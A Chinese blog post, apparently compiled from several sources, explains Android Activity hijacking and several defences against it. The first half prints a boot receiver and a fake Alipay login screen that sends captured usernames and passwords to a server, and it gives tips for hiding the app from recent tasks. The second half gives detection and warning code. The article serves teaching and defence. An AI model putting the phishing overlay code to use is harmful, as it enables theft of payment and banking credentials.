Android之Activity界面劫持反劫持
總結(jié):
Activity劫持原理
1、注冊一個(gè)receiver,響應(yīng)android.intent.action.BOOT_COMPLETED,使得開機(jī)啟動(dòng)一個(gè)service;這個(gè)service,會啟動(dòng)一個(gè)計(jì)時(shí)器,不停循環(huán)查詢所有當(dāng)前運(yùn)行的進(jìn)程(因?yàn)閍pp可以枚舉系統(tǒng)當(dāng)前運(yùn)行進(jìn)程而無需聲明其他權(quán)限)
 2、一旦發(fā)現(xiàn)當(dāng)前某一進(jìn)程的Activity正是我們想要劫持的,并運(yùn)行在前臺,我們立馬使用FLAG_ACTIVITY_NEW_TASK啟動(dòng)自己的釣魚界面并置于棧頂覆蓋掉之前的activity,獲得用戶敏感信息并發(fā)送到服務(wù)器。
 3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"這一項(xiàng)可以防止我們的惡意程序在最近訪問列表中出現(xiàn)(這一項(xiàng)實(shí)際不影響劫持的發(fā)生,只是增加其危險(xiǎn)性,防止被發(fā)現(xiàn))
防范手段:
當(dāng)主的activity退到后臺后,彈出一下提示信息提示用戶,程序已經(jīng)退到后臺了。
?
?
什么是Activity劫持
? ? ? ?簡單的說就是APP正常的Activity界面被惡意攻擊者替換上仿冒的惡意Activity界面進(jìn)行攻擊和非法用途。界面劫持攻擊通常難被識別出來,其造成的后果不僅會給用戶帶來嚴(yán)重?fù)p失,更是移動(dòng)應(yīng)用開發(fā)者們的惡夢。舉個(gè)例子來說,當(dāng)用戶打開安卓手機(jī)上的某一應(yīng)用,進(jìn)入到登陸頁面,這時(shí),惡意軟件偵測到用戶的這一動(dòng)作,立即彈出一個(gè)與該應(yīng)用界面相同的Activity,覆蓋掉了合法的Activity,用戶幾乎無法察覺,該用戶接下來輸入用戶名和密碼的操作其實(shí)是在惡意軟件的Activity上進(jìn)行的,最終會發(fā)生什么就可想而知了。
Activity界面被劫持的原因
? ? ? ?很多網(wǎng)友發(fā)現(xiàn),如果在啟動(dòng)一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。針對這一操作,假使這個(gè)Activity是用于盜號的偽裝Activity呢?在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個(gè)程序,啟動(dòng)一個(gè)后臺的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動(dòng)時(shí),就啟動(dòng)一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
常見的攻擊手段
-  監(jiān)聽系統(tǒng)Logocat日志,一旦監(jiān)聽到發(fā)生Activity界面切換行為,即進(jìn)行攻擊,覆蓋上假冒Activity界面實(shí)施欺騙。開發(fā)者通常都知道,系統(tǒng)的Logcat日志會由ActivityManagerService打印出包含了界面信息的日志文件,惡意程序就是通過Logocat獲取這些信息,從而監(jiān)控客戶端的啟動(dòng)、Activity界面的切換。 
-  監(jiān)聽系統(tǒng)API,一旦惡意程序監(jiān)聽到相關(guān)界面的API組件調(diào)用,即可發(fā)起攻擊。 
- 逆向APK,惡意攻擊者通過反編譯和逆向分析APK,了解應(yīng)用的業(yè)務(wù)邏輯之后針對性的進(jìn)行Activity界面劫持攻擊
1、Activity調(diào)度機(jī)制
android為了提高用戶的用戶體驗(yàn),對于不同的應(yīng)用程序之間的切換,基本上是無縫。他們切換的只是一個(gè)activity,讓切換的到前臺顯示,另一個(gè)應(yīng)用則被覆蓋到后臺,不可見。Activity的概念相當(dāng)于一個(gè)與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個(gè)應(yīng)用想啟動(dòng)或停止一個(gè)進(jìn)程,都是先報(bào)告給AmS。?當(dāng)AmS收到要啟動(dòng)或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動(dòng),前一個(gè)Activity就會停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。每有一個(gè)Activity啟動(dòng),它就壓入歷史棧頂,并在手機(jī)上顯示。當(dāng)用戶按下back鍵時(shí),頂部Activity彈出,恢復(fù)前一個(gè)Activity,棧頂指向當(dāng)前的Activity。?
?
2、Android設(shè)計(jì)上的缺陷——Activity劫持?
如果在啟動(dòng)一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。?
 但是這樣的設(shè)計(jì)卻有一個(gè)缺陷。如果這個(gè)Activity是用于盜號的偽裝Activity呢??
 在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個(gè)程序,啟動(dòng)一個(gè)后臺的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動(dòng)時(shí),就啟動(dòng)一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
 ?一個(gè)運(yùn)行在后臺的服務(wù)可以做到如下兩點(diǎn):1,決定哪一個(gè)activity運(yùn)行在前臺 ?2,運(yùn)行自己app的activity到前臺。
?這樣,惡意的開發(fā)者就可以對應(yīng)程序進(jìn)行攻擊了,對于有登陸界面的應(yīng)用程序,他們可以偽造一個(gè)一模一樣的界面,普通用戶根本無法識別是真的還是假。用戶輸入用戶名和密碼之后,惡意程序就可以悄無聲息的把用戶信息上傳到服務(wù)器了。這樣是非常危險(xiǎn)的。
?
3、示例?
 下面是示例代碼。?
AndroidManifest.xml文件的代碼。
在以上的代碼中,聲明了一個(gè)服務(wù)service,用于枚舉當(dāng)前運(yùn)行的進(jìn)程。其中如果不想開機(jī)啟動(dòng)的話,甚至可以把以上receiver部分的代碼,及聲明開機(jī)啟動(dòng)的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號密碼),單從AndroidManifest文件是看不出任何異常的。?
下面是正常的Activity的代碼。在這里只是啟動(dòng)用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開機(jī)啟動(dòng),則這一步也可以省略。?
如果想要開機(jī)啟動(dòng),則需要一個(gè)receiver,即廣播接收器,在開機(jī)時(shí)得到開機(jī)啟動(dòng)的廣播,并在這里啟動(dòng)服務(wù)。如果沒有開機(jī)啟動(dòng)(這跟上面至少要實(shí)現(xiàn)一處,不然服務(wù)就沒有被啟動(dòng)了),則這一步可以省略。
package com.sinaapp.msdxblog.android.activityhijacking.receiver; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class HijackingReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { Log.w("hijacking", "開機(jī)啟動(dòng)"); Intent intent2 = new Intent(context, HijackingService.class); context.startService(intent2); Log.w("hijacking", "啟動(dòng)用來劫持的Service"); } } }?
下面這個(gè)HijackingService類可就關(guān)鍵了,即用來進(jìn)行Activity劫持的。?
在這里,將運(yùn)行枚舉當(dāng)前運(yùn)行的進(jìn)程,發(fā)現(xiàn)目標(biāo)進(jìn)程,彈出偽裝程序。?
代碼如下:
?
編寫HijackingApplication類,代碼如下:
[java]?view plain?copy
說明:這個(gè)類的主要功能是,保存已經(jīng)劫持過的包名,防止我們多次劫持增加暴露風(fēng)險(xiǎn)。
?
下面是支付寶的偽裝類。
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; public class AlipayStoryActivity extends Activity { private EditText name; private EditText password; private Button mBtAlipay; private Button mBtTaobao; private Button mBtRegister; private TextView mTvFindpswd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay); mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); mBtRegister = (Button) findViewById(R.id.alipay_bt_register); mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]")); mBtAlipay.setSelected(true); name = (EditText) findViewById(R.id.input_name); password = (EditText) findViewById(R.id.input_password); } public void onButtonClicked(View v) { switch (v.getId()) { case R.id.alipay_bt_login: HandlerThread handlerThread = new HandlerThread("send"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(new Runnable() { @Override public void run() { // 發(fā)送獲取到的用戶密碼 SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付寶"); } }); moveTaskToBack(true); break; case R.id.alipay_bt_alipay: chooseToAlipay(); break; case R.id.alipay_bt_taobao: chooseToTaobao(); break; default: break; } } private void chooseToAlipay() { mBtAlipay.setSelected(true); mBtTaobao.setSelected(false); name.setHint(R.string.alipay_name_alipay_hint); mTvFindpswd.setVisibility(View.VISIBLE); mBtRegister.setVisibility(View.VISIBLE); } private void chooseToTaobao() { mBtAlipay.setSelected(false); mBtTaobao.setSelected(true); name.setHint(R.string.alipay_name_taobao_hint); mTvFindpswd.setVisibility(View.GONE); mBtRegister.setVisibility(View.GONE); } }?
布局文件activity_main.xml
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" > <LinearLayoutandroid:id="@+id/linear"android:orientation="vertical"android:layout_width="match_parent"android:layout_height="wrap_content"><LinearLayoutandroid:orientation="horizontal"android:layout_width="match_parent"android:layout_height="wrap_content"><TextViewandroid:textSize="18sp"android:text="賬號:"android:layout_width="wrap_content"android:layout_height="wrap_content" /><EditTextandroid:visibility="invisible"android:id="@+id/user"android:hint="賬號"android:layout_width="match_parent"android:layout_height="wrap_content" /></LinearLayout><LinearLayoutandroid:orientation="horizontal"android:layout_width="match_parent"android:layout_height="wrap_content"><TextViewandroid:textSize="18sp"android:text="密碼:"android:layout_width="wrap_content"android:layout_height="wrap_content" /><EditTextandroid:visibility="invisible"android:id="@+id/pass"android:hint="密碼"android:layout_width="match_parent"android:layout_height="wrap_content" /></LinearLayout> </LinearLayout> <Buttonandroid:visibility="invisible"android:id="@+id/login"android:layout_below="@id/linear"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="登錄" /> </RelativeLayout>?
?
?
上面的其他代碼主要是為了讓界面的點(diǎn)擊效果與真的支付寶看起來盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。?
 ?
編寫SendUtil,它是向我寫的服務(wù)器端發(fā)送一個(gè)HTTP請求,將用戶密碼發(fā)送出去。?代碼如下:
?
?
[java]?view plain?copy
說明:這個(gè)類需要添加兩個(gè)jar包,我使用的是httpclient-4.2.5.jar,一個(gè)httpcore-4.2.4.jar
?
4、用戶防范?
 android手機(jī)均有一個(gè)HOME鍵(即小房子的那個(gè)圖標(biāo)),長按可以看到近期任務(wù) 對于我所用的HTC G14而言,顯示的最近的一個(gè)是上一個(gè)運(yùn)行的程序。小米顯示的最近的一個(gè)是當(dāng)前運(yùn)行的程序。所以,在要輸入密碼進(jìn)行登錄時(shí),可以通過長按HOME鍵查看近期任務(wù),以我的手機(jī)為例,如果在登錄QQ時(shí)長按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個(gè)登錄界面就極有可能是偽裝了,切換到另一個(gè)程序,再查看近期任務(wù),就可以知道這個(gè)登錄界面是來源于哪個(gè)程序了。?
 如果是小米手機(jī)的話,在進(jìn)行登錄時(shí),如果查看的近期任務(wù)的第一個(gè)不是自己要登錄的那個(gè)程序的名字,則它就是偽裝的。?
 ?
而且這種方法也不是絕對的 ?可以在AndroidManifest中相應(yīng)activity下添加android:noHistory="true"這樣就不會把偽裝界面顯示在最近任務(wù)中
?
5、反劫持
然而,如果真的爆發(fā)了這種惡意程序,我們并不能在啟動(dòng)程序時(shí)每一次都那么小心去查看判斷當(dāng)前在運(yùn)行的是哪一個(gè)程序,當(dāng)android:noHistory="true"時(shí)上面的方法也無效 ??因此,前幾個(gè)星期花了一點(diǎn)時(shí)間寫了一個(gè)程序,叫反劫持助手。原理很簡單,就是獲取當(dāng)前運(yùn)行的是哪一個(gè)程序,并且顯示在一個(gè)浮動(dòng)窗口中,以幫忙用戶判斷當(dāng)前運(yùn)行的是哪一個(gè)程序,防范一些釣魚程序的欺騙。
在這一次,由于是“正當(dāng)防衛(wèi)”,就不再通過枚舉來獲取當(dāng)前運(yùn)行的程序了,在manifest文件中增加一個(gè)權(quán)限:?
android權(quán)限
[html]?view plain?copy
然后啟動(dòng)程序的時(shí)候,啟動(dòng)一個(gè)Service,在Service中啟動(dòng)一個(gè)浮動(dòng)窗口,并周期性檢測當(dāng)前運(yùn)行的是哪一個(gè)程序,然后顯示在浮動(dòng)窗口中。?
程序截圖如下:?
 ?
其中Service代碼如下:
package com.sinaapp.msdxblog.antihijacking.service; import android.app.ActivityManager; import android.app.Notification; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.util.Log; import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory; import com.sinaapp.msdxblog.antihijacking.AntiConstants; import com.sinaapp.msdxblog.antihijacking.view.AntiView; public class AntiService extends Service { private boolean shouldLoop = false; private Handler handler; private ActivityManager am; private PackageManager pm; private Handler mainHandler; private AntiView mAntiView; private int circle = 2000; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); startForeground(19901008, new Notification()); if (intent != null) { circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000); } Log.i("circle", circle + "ms"); if (true == shouldLoop) { return; } mAntiView = new AntiView(this); mainHandler = new Handler() { public void handleMessage(Message msg) { String name = msg.getData().getString("name"); mAntiView.setText(name); }; }; pm = getPackageManager(); shouldLoop = true; am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) { @Override public void handleMessage(Message msg) { super.handleMessage(msg); String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName(); try { String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName, PackageManager.GET_META_DATA)).toString();updateText(progressName); } catch (NameNotFoundException e) { e.printStackTrace(); } if (shouldLoop) { handler.sendEmptyMessageDelayed(0, circle); } } }; handler.sendEmptyMessage(0); } private void updateText(String name) { Message message = new Message(); Bundle data = new Bundle(); data.putString("name", name); message.setData(data); mainHandler.sendMessage(message); } @Override public void onDestroy() { shouldLoop = false; mAntiView.remove(); super.onDestroy(); } }浮動(dòng)窗口僅為一個(gè)簡單的textview,非此次的技術(shù)重點(diǎn),在這里省略不講。?
當(dāng)然,從以上代碼也可以看出本程序只能防范通過Activity作為釣魚界面的程序,因?yàn)樗峭ㄟ^運(yùn)行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另一個(gè)釣魚方法它還是無能為力的,關(guān)于這一點(diǎn)將在下次談。?
?
?
防護(hù)
目前,對activity劫持的防護(hù),只能是適當(dāng)給用戶警示信息。一些簡單的防護(hù)手段就是顯示當(dāng)前運(yùn)行的進(jìn)程提示框。
梆梆加固則是在進(jìn)程切換的時(shí)候給出提示,并使用白名單過濾。
解決辦法
這是系統(tǒng)漏洞,在應(yīng)用程序中很難去防止這種界面支持。但應(yīng)用程序自身可以增加一些防范實(shí)施。?
 防范實(shí)施:?
 1. 開啟守護(hù)進(jìn)程,當(dāng)發(fā)現(xiàn)應(yīng)用程序不在棧頂時(shí),在屏幕最上層創(chuàng)建一個(gè)懸浮小窗口(提示信息與客戶確定),以提醒用戶。?
 2. 使用搶占式,即與劫持程序搶占棧頂。?
 3. 在應(yīng)用切到后臺時(shí),在通知欄彈出通知提示。
以上三種防范措施都是可取的,但是其中第二種,搶占式的搶占棧頂這種做法,頻繁出現(xiàn)的話,用戶會非常反感,于是,我們最終的方案是結(jié)合第一種和第三種方法來處理:app被切到后臺后Toast彈框并在通知欄顯示一條通知。(提醒用戶,app被切到后臺運(yùn)行)
具體實(shí)施
1. 在Activity的各生命周期中啟動(dòng)或者停止服務(wù)(在onResume中開啟service,在onStart和onDestory中關(guān)閉service)
示例:@Override protected void onPause() {Intent intent = new Intent();intent.putExtra("pageName", this.getComponentName().getPackageName());intent.putExtra("className", this.getComponentName().getClassName());intent.setClass(this, AppStatusService.class);startService(intent); }public void onResume() {Intent intent = new Intent();intent.putExtra("pageName", this.getComponentName().getPackageName());intent.putExtra("className", this.getComponentName().getClassName());intent.setClass(this, AppStatusService.class);stopService(intent); }@Override public void onDestroy() {Intent intent = new Intent();intent.setClass(this, AppStatusService.class);stopService(intent); }2. 編寫具體的Service邏輯
/*** 應(yīng)用是否在前臺運(yùn)行* * @return true:在前臺運(yùn)行;false:已經(jīng)被切到后臺了*/ private boolean isAppOnForeground() {List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();if (appProcesses != null) {for (RunningAppProcessInfo appProcess : appProcesses) {if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {if (appProcess.processName.equals(packageName)) {return true;}}}}return false; } /*** 定義一個(gè)timerTask來發(fā)通知和彈出Toast*/ TimerTask timerTask = new TimerTask() {@Overridepublic void run() {if (!isAppOnForeground()) {isAppBackground = true;//發(fā)通知showNotification();//彈出Toast提示MainActivity.mCurrentActivity.runOnUiThread(new Runnable() {@Overridepublic void run() {Toast.makeText(getApplicationContext(),getApplicationContext().getString(R.string.pervent_hijack_mes), Toast.LENGTH_SHORT).show();}});mTimer.cancel();}} }; /*** 彈出通知提示*/ private void showNotification() {NotificationManager notificationManager = (NotificationManager) getSystemService(android.content.Context.NOTIFICATION_SERVICE);Notification notification = new Notification(R.drawable.icon, "xx銀行", System.currentTimeMillis());notification.defaults |= Notification.DEFAULT_VIBRATE;// 設(shè)置震動(dòng)notification.defaults |= Notification.DEFAULT_LIGHTS;// 設(shè)置LED燈提醒notification.flags |= Notification.FLAG_NO_CLEAR;// 通知不可被狀態(tài)欄的清除按鈕清除掉notification.flags |= Notification.FLAG_ONGOING_EVENT;// 通知放置在 正在運(yùn)行Intent intent = new Intent();intent.setAction(Intent.ACTION_MAIN);intent.putExtra("notification", "notification");intent.setClassName(packageName, className);// 修改vivo手機(jī)點(diǎn)擊通知欄不返回intent.addCategory(Intent.CATEGORY_LAUNCHER);// 增加Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED用于正常的從后臺再次返回到原來退出時(shí)的頁面中intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);PendingIntent pendingInt = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);String temp = "";notification.setLatestEventInfo(this, "xx手機(jī)銀行", "手機(jī)銀行已經(jīng)被切到后臺運(yùn)行" + temp, pendingInt);// 設(shè)置服務(wù)的級別,使其不容易被kill掉,解決后臺返回前臺黑屏的問題startForeground(1, notification); }3. 在onStart中執(zhí)行timer
@Override public void onStart(Intent intent, int startId) {try {Bundle bundle = null;if (intent != null) {bundle = intent.getExtras();}if (bundle != null) {className = bundle.getString("className");}// 通過計(jì)時(shí)器延遲執(zhí)行mTimer.schedule(timerTask, 50, 50);} catch (Exception e) {e.printStackTrace();} }具體效果如圖:
補(bǔ)充內(nèi)容
根據(jù)importance的不同來判斷前臺或后臺?
 RunningAppProcessInfo 里面的常量IMOPORTANCE就是上面所說的前臺后臺,其實(shí)IMOPORTANCE是表示這個(gè)app進(jìn)程的重要性,因?yàn)橄到y(tǒng)回收時(shí)候,會根據(jù)IMOPORTANCE來回收進(jìn)程的。具體可以去看文檔。?
 public static final int IMPORTANCE_BACKGROUND = 400//后臺?
 public static final int IMPORTANCE_EMPTY = 500//空進(jìn)程?
 public static final int IMPORTANCE_FOREGROUND =100//在屏幕最前端、可獲取到焦點(diǎn) 可理解為Activity生命周期的OnResume();?
 public static final int IMPORTANCE_SERVICE = 300//在服務(wù)中?
 public static final int IMPORTANCE_VISIBLE = 200//在屏幕前端、獲取不到焦點(diǎn)可理解為Activity生命周期的OnStart();
防護(hù)手段
?
目前,還沒有什么專門針對Activity劫持的防護(hù)方法,因?yàn)?#xff0c;這種攻擊是用戶層面上的,目前還無法從代碼層面上根除。但是,我們可以適當(dāng)?shù)卦贏PP中給用戶一些警示信息,提示用戶其登陸界面以被覆蓋,并給出覆蓋正常Activity的類名,示例如下:
首先,在前正常的登錄Activity界面中重寫onKeyDown方法和onPause方法,這樣一來,當(dāng)其被覆蓋時(shí),就能夠彈出警示信息,代碼如下:
@Overridepublic boolean onKeyDown(int keyCode, KeyEvent event) {//判斷程序進(jìn)入后臺是否是用戶自身造成的(觸摸返回鍵或HOME鍵),是則無需彈出警示。if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){needAlarm = false;}return super.onKeyDown(keyCode, event);}@Overrideprotected void onPause() {//若程序進(jìn)入后臺不是用戶自身造成的,則需要彈出警示if(needAlarm) {//彈出警示信息Toast.makeText(getApplicationContext(), "您的登陸界面被覆蓋,請確認(rèn)登陸環(huán)境是否安全", Toast.LENGTH_SHORT).show();//啟動(dòng)我們的AlarmService,用于給出覆蓋了正常Activity的類名Intent intent = new Intent(this, AlarmService.class);startService(intent);}super.onPause();}然后實(shí)現(xiàn)AlarmService.java,并在在AndroidManifest.xml中注冊
import android.app.ActivityManager; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.widget.Toast;public class AlarmService extends Service{boolean isStart = false;Handler handler = new Handler();Runnable alarmRunnable = new Runnable() {@Overridepublic void run() {//得到ActivityManagerActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);//getRunningTasks會返回一個(gè)List,List的大小等于傳入的參數(shù)。//get(0)可獲得List中的第一個(gè)元素,即棧頂?shù)膖askActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);//得到當(dāng)前棧頂?shù)念惷?#xff0c;按照需求,也可以得到完整的類名和包名String shortClassName = info.topActivity.getShortClassName(); //類名//完整類名//String className = info.topActivity.getClassName();//包名//String packageName = info.topActivity.getPackageName();Toast.makeText(getApplicationContext(), "當(dāng)前運(yùn)行的程序?yàn)?#34;+shortClassName, Toast.LENGTH_LONG).show();}};@Overridepublic int onStartCommand(Intent intent, int flag, int startId) {super.onStartCommand(intent, flag, startId);if(!isStart) {isStart = true;//啟動(dòng)alarmRunnablehandler.postDelayed(alarmRunnable, 1000);stopSelf();}return START_STICKY;}@Overridepublic IBinder onBind(Intent intent) {return null;} }在用戶使用app的時(shí)候,如果被惡意程序劫持跳轉(zhuǎn)到別的界面,這個(gè)時(shí)候我們就要做出預(yù)警提示用戶,告訴用戶當(dāng)前界面已經(jīng)不是我們的app有潛在的危險(xiǎn).代碼的工作原理很簡單就是在我們所寫的activity對象的Onstop生命周期判斷,將要跳轉(zhuǎn)的界面是否是安全的。具體代碼如下:
public class AntiHijackingUtil { public static final String TAG = "AntiHijackingUtil"; // 白名單列表 private static List<String> safePackages; static { safePackages = new ArrayList<String>(); } public static void configSafePackages(List<String> packages) { return; } private static PackageManager pm; private List<ApplicationInfo> mlistAppInfo; /** * 檢測當(dāng)前Activity是否安全 */ public static boolean checkActivity(Context context) { boolean safe = false; pm = context.getPackageManager(); // 查詢所有已經(jīng)安裝的應(yīng)用程序 List<ApplicationInfo> listAppcations = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES); Collections.sort(listAppcations,new ApplicationInfo.DisplayNameComparator(pm));// 排序 List<ApplicationInfo> appInfos = new ArrayList<ApplicationInfo>(); // 保存過濾查到的AppInfo //appInfos.clear(); for (ApplicationInfo app : listAppcations) {//這個(gè)排序必須有. if ((app.flags & ApplicationInfo.FLAG_SYSTEM) != 0) { //appInfos.add(getAppInfo(app)); safePackages.add(app.packageName); } } //得到所有的系統(tǒng)程序包名放進(jìn)白名單里面. ActivityManager activityManager =(ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); String runningActivityPackageName; int sdkVersion; try { sdkVersion = Integer.valueOf(android.os.Build.VERSION.SDK); } catch (NumberFormatException e) { sdkVersion = 0; } if(sdkVersion>=21){//獲取系統(tǒng)api版本號,如果是5x系統(tǒng)就用這個(gè)方法獲取當(dāng)前運(yùn)行的包名 runningActivityPackageName= getCurrentPkgName(context); } else runningActivityPackageName=activityManager.getRunningTasks(1).get(0).topActivity.getPackageName(); //如果是4x及以下,用這個(gè)方法. if(runningActivityPackageName!=null){//有些情況下在5x的手機(jī)中可能獲取不到當(dāng)前運(yùn)行的包名,所以要非空判斷。 if (runningActivityPackageName.equals(context.getPackageName())) { safe = true; } // 白名單比對 for (String safePack : safePackages) { if (safePack.equals(runningActivityPackageName)) { safe = true; } } } return safe; } public static String getCurrentPkgName(Context context) {//5x系統(tǒng)以后利用反射獲取當(dāng)前棧頂activity的包名. ActivityManager.RunningAppProcessInfo currentInfo = null; Field field = null; int START_TASK_TO_FRONT = 2; String pkgName = null; try { field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");//通過反射獲取進(jìn)程狀態(tài)字段. } catch (Exception e) { e.printStackTrace(); } ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); List appList = am.getRunningAppProcesses(); ActivityManager.RunningAppProcessInfo app; for (int i=0;i<appList.size();i++){ //ActivityManager.RunningAppProcessInfo app : appList app=(RunningAppProcessInfo) appList.get(i); if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//表示前臺運(yùn)行進(jìn)程. Integer state = null; try { state = field.getInt(app);//反射調(diào)用字段值的方法,獲取該進(jìn)程的狀態(tài). } catch (Exception e) { e.printStackTrace(); } if (state != null && state == START_TASK_TO_FRONT) {//根據(jù)這個(gè)判斷條件從前臺中獲取當(dāng)前切換的進(jìn)程對象. currentInfo = app; break; } } } if (currentInfo != null) { pkgName = currentInfo.processName; } return pkgName; } }代碼的使用方法也很簡單,只需要在你自己寫的Activity的Onstop中調(diào)用boolean safe = AntiHijackingUtil.checkActivity(this);即可得到跳轉(zhuǎn)的界面是否需要提示.?這里要說明一下?getCurrentPkgName()在有些5x手機(jī)也無法獲取當(dāng)前跳入的界面的包名,有了解的還請?zhí)崾疽幌?#xff0c;謝謝。
?
參考:
http://blog.csdn.net/u012195899/article/details/70172241
http://blog.csdn.net/xwh_1230/article/details/60145186
http://blog.chinaunix.net/uid-29170659-id-4930737.html
http://blog.csdn.net/sinat_26533265/article/details/51171013
http://blog.csdn.net/mynameishuangshuai/article/details/52870793
http://blog.csdn.net/forrey/article/details/48518855
?
總結(jié)
以上是生活随笔為你收集整理的Android之Activity界面劫持反劫持的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: greensock下载_初识GreenS
- 下一篇: 基于韦尔奇·鲍威尔法对图着色 含c++代
